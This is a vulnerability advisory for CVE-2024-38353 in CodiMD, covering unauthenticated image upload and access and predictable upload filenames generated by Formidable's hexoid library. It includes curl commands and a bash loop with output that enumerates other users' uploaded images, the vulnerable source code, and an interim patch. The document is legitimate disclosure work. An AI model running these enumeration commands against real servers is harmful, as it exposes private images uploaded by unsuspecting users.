CodiMD Unauthorised Image Access

Jun 12 2024

This advisory details a missing authentication and access control vulnerability allowing an unauthenticated attacker to gain unauthorised access to image data uploaded to CodiMD. Due to the insecure random filename generation functionality in the underlying Formidable library, filenames for uploaded images could be determined and the likelihood of this issue being exploited was increased.

This vulnerability was tested against the Filesystem upload backend, though others such as minio may also be vulnerable. Both the develop branch from the git repository (commit d157fde6667185ab09125fa18317152eeef15fb4) and the 2.5.3 release of CodiMD were affected. No official fix was available at the time of this advisory release.

CodiMD did not require authentication to access uploaded images or to upload new image data. An attacker who could determine an uploaded image’s URL could gain unauthorised access to uploaded image data. This vulnerability was discovered through incidental application usage.

CVE-2024-38353 has been assigned to these issues.

Missing Image Access Controls

No access control was applied to images uploaded to CodiMD, including images uploaded to private notes. This allowed an attacker with access to the upload link, either by exploiting the condition described in the Insecurely Randomised File Names section of this advisory or by obtaining a link through other means, to gain unauthorised access to uploaded image data. Additionally, no authentication was required to upload image data, allowing an unauthenticated attacker to upload malicious images and perform other attacks, such as attempting to exhaust all available disk space, creating a denial-of-service condition or hosting problematic content.

The following curl command shows an example of an image being accessed with no authentication:

$ curl -i http://127.0.0.1:3000/uploads/3fc337e10f6c4173c4acc3c00.png
HTTP/1.1 200 OK
X-Powered-By: Express
Referrer-Policy: same-origin
…omitted for brevity…

Warning: Binary output can mess up your terminal. Use "--output -" to tell

The following curl command shows an image being uploaded with no authentication:

$ curl -iF image=@foo.png http://127.0.0.1:3000/uploadimage
HTTP/1.1 200 OK
X-Powered-By: Express
…omitted for brevity…

{"link":"/uploads/0d8f485b3581aea8058a11c04.png"}

Insecurely Randomised Filenames

Filenames used for uploaded images were provided by the Formidable library, which used the hexoid library to create random filenames. The hexoid library used an insecure random number generator (V8’s Math.random()) to create a prefix followed by an incrementing suffix. This allowed an attacker to upload a file, determine the fixed upload prefix, and then obtain previously uploaded images. The prefix changed after 256 file uploads, or when the application server was restarted.

The following figures demonstrates this attack. First the attacker uploads an image file to obtain the server-side filename prefix:

curl -F image=@foo.png http://127.0.0.1:3000/uploadimage
{"link":"/uploads/2d96f57625841b8f5c35e7b06.png"}

The suffix shown in this example is “06”, the final two digits of the returned filename. The attacker could then works backwards with known valid mime types (detailed in lib/config/index.js) to find previously uploaded files. The following script shows a proof-of-concept loop to try all mime types with predicted filenames:

for i in {0..5};
        do for mime in jpeg png jpg gif svg bmp tiff; 
                do echo $i.$mime; 
                curl -sI 127.0.0.1:3000/uploads/2d96f57625841b8f5c35e7b0$i.$mime | head -1;
        done;
done
0.jpeg
HTTP/1.1 404 Not Found
0.png
HTTP/1.1 200 OK
0.jpg
HTTP/1.1 404 Not Found
0.gif
HTTP/1.1 404 Not Found
0.svg
HTTP/1.1 404 Not Found
0.bmp
HTTP/1.1 404 Not Found
0.tiff
HTTP/1.1 404 Not Found
1.jpeg
HTTP/1.1 404 Not Found
1.png
HTTP/1.1 200 OK
1.jpg
HTTP/1.1 404 Not Found
1.gif
HTTP/1.1 404 Not Found
1.svg
HTTP/1.1 404 Not Found
1.bmp
HTTP/1.1 404 Not Found
1.tiff
HTTP/1.1 404 Not Found
2.jpeg
HTTP/1.1 404 Not Found
2.png
HTTP/1.1 404 Not Found
2.jpg
HTTP/1.1 200 OK
…omitted for brevity…

The following figure shows the 2d96f57625841b8f5c35e7b02.jpg image discovered by the attacker:

Root Cause

The root cause of the insecure random filename issue was CodiMD’s use of the Formidable library’s generated filenames. The following code snippet from lib/imageRouter/filesystem.js shows the vulnerable code path:

 19 /**
 20  * pick a filename not exist in filesystem
 21  * maximum attempt 5 times
 22  */
 23 function pickFilename (defaultFilename) {
 24   let retryCounter = 5
 25   let filename = defaultFilename
 26   const extname = path.extname(defaultFilename)
 27   while (retryCounter-- > 0) {
 28     if (fs.existsSync(path.join(config.uploadsPath, filename))) {
 29       filename = `${randomFilename()}${extname}`
 30       continue
 31     }
 32     return filename
 33   }
 34   throw new Error('file exists.')
 35 }
 36 
 37 exports.uploadImage = function (imagePath, callback) {
 38   if (!imagePath || typeof imagePath !== 'string') {
 39     callback(new Error('Image path is missing or wrong'), null)
 40     return
 41   }
 42 
 43   if (!callback || typeof callback !== 'function') {
 44     logger.error('Callback has to be a function')
 45     return
 46   }
 47 
--> 48   let filename = path.basename(imagePath)
 49   try {
 50     filename = pickFilename(path.basename(imagePath))
 51   } catch (e) {
 52     return callback(e, null)
 53   }
 54 
 55   try {
--> 56     fs.copyFileSync(imagePath, path.join(config.uploadsPath, filename))
 57   } catch (e) {
 58     return callback(e, null)
 59   }
 60 
 61   let url
 62   try {
 63     url = (new URL(filename, config.serverURL + '/uploads/')).href
 64   } catch (e) {
 65     url = config.serverURL + '/uploads/' + filename
 66   }
 67 
 68   callback(null, url)
 69 }

The imagePath variable above was provided by the Formidable library, as shown in the following debugger output:

The filename was created by the Formidable library in PersistentFile.js:

The newFilename variable was assigned in Formidable.js as shown in the following code snippet:

 14           
 --> 15 const toHexoId = hexoid(25);
… omitted for brevity…
322     if (!this.options.filter(part)) {
323       return;
324     }
325 
326     this._flushing += 1;
327 
--> 328     const newFilename = this._getNewName(part);
329     const filepath = this._joinDirectoryName(newFilename);
330     const file = this._newFile({
331       newFilename,
332       filepath,
333       originalFilename: part.originalFilename,
334       mimetype: part.mimetype,
335     });
…omitted for brevity…
573       this._getNewName = (part) => {
--> 574         const name = toHexoId();
575 
576         if (part && this.options.keepExtensions) {
577           const originalFilename = typeof part === 'string' ? part : part.originalFilename;
578           return `${name}${this._getExtension(originalFilename)}`;
579         }
580 
581         return name;
582       }
583     }

The hexoid library used by Formidable used the insecure Math.random() function to generate the prefix and used an incrementing hexadecimal suffix (from 00 to ff). The following snippet from hexoid/dist/index.js shows the vulnerable algorithm:

var IDX=256, HEX=[];
while (IDX--) HEX[IDX] = (IDX + 256).toString(16).substring(1);

module.exports = function (len) {
        len = len || 16;
        var str='', num=0;
        return function () {
                if (!str || num === 256) {
                        str=''; num=(1+len)/2 | 0;
                        while (num--) str += HEX[256 * Math.random() | 0];
                        str = str.substring(num=0, len-2);
                }
                return str + HEX[num++];
        };
}

Math.random() is a known vulnerable RNG (https://codeql.github.com/codeql-query-help/javascript/js-insecure-randomness/ and https://github.com/d0nutptr/v8_rand_buster/); however, the bigger issue here was the incrementing suffixes and that the attacker could upload an image without authentication to discover the current fixed filename prefix.

Recommendations

No official fix was available for this vulnerability at the time of publication. The following interim fix can be used to reduce the likelihood of an attacker determining a valid filename; however, this will not address the unauthenticated image upload or unauthenticated image access.

The filesystem imageRouter already implemented a secure random filename function based on crypto.randomBytes(). The following change forces all uploaded files to use the CodiMD random filename logic rather than the vulnerable hexoid implementation:

diff --git a/lib/imageRouter/filesystem.js b/lib/imageRouter/filesystem.js
index 49a811ef..dcdaedc7 100644
--- a/lib/imageRouter/filesystem.js
+++ b/lib/imageRouter/filesystem.js
@@ -16,24 +16,6 @@ function randomFilename () {
   return `upload_${buf.toString('hex')}`
 }
 
-/**
- * pick a filename not exist in filesystem
- * maximum attempt 5 times
- */
-function pickFilename (defaultFilename) {
-  let retryCounter = 5
-  let filename = defaultFilename
-  const extname = path.extname(defaultFilename)
-  while (retryCounter-- > 0) {
-    if (fs.existsSync(path.join(config.uploadsPath, filename))) {
-      filename = `${randomFilename()}${extname}`
-      continue
-    }
-    return filename
-  }
-  throw new Error('file exists.')
-}
-
 exports.uploadImage = function (imagePath, callback) {
   if (!imagePath || typeof imagePath !== 'string') {
     callback(new Error('Image path is missing or wrong'), null)
@@ -47,7 +29,7 @@ exports.uploadImage = function (imagePath, callback) {
 
   let filename = path.basename(imagePath)
   try {
-    filename = pickFilename(path.basename(imagePath))
+    filename = randomFilename()
   } catch (e) {
     return callback(e, null)
   }

Note: Knowledge of a specific URL (discretionary access control) should not be used as a replacement for robust authorisation and mandatory access controls. The patch detailed above provides additional security benefits as an interim hardening measure to reduce the likelihood of an attacker discovering uploaded image URLs.

Timeline

  • 14/03/2024: Initial email sent to HackMD support
  • 14/03/2024: Advisory uploaded to CodiMD Github Security page
  • 25/03/2024: Requested confirmation of advisory receipt
  • 28/03/2024: HackMD support confirm developers have recieved the advisory details
  • 17/04/2024: Request for update
  • 22/04/2024: HackMD support advise - “The development team has assessed the vulnerability you reported as a lower-priority issue. Security checks and inspections related to HackMD will continue. Thank you for your reporting.”
  • 17/05/2024: Email sent advising 90-day disclosure period expiring in <30 days.
  • 12/06/2024: The 90-day disclosure period ended. Advisory released.


Follow us on LinkedIn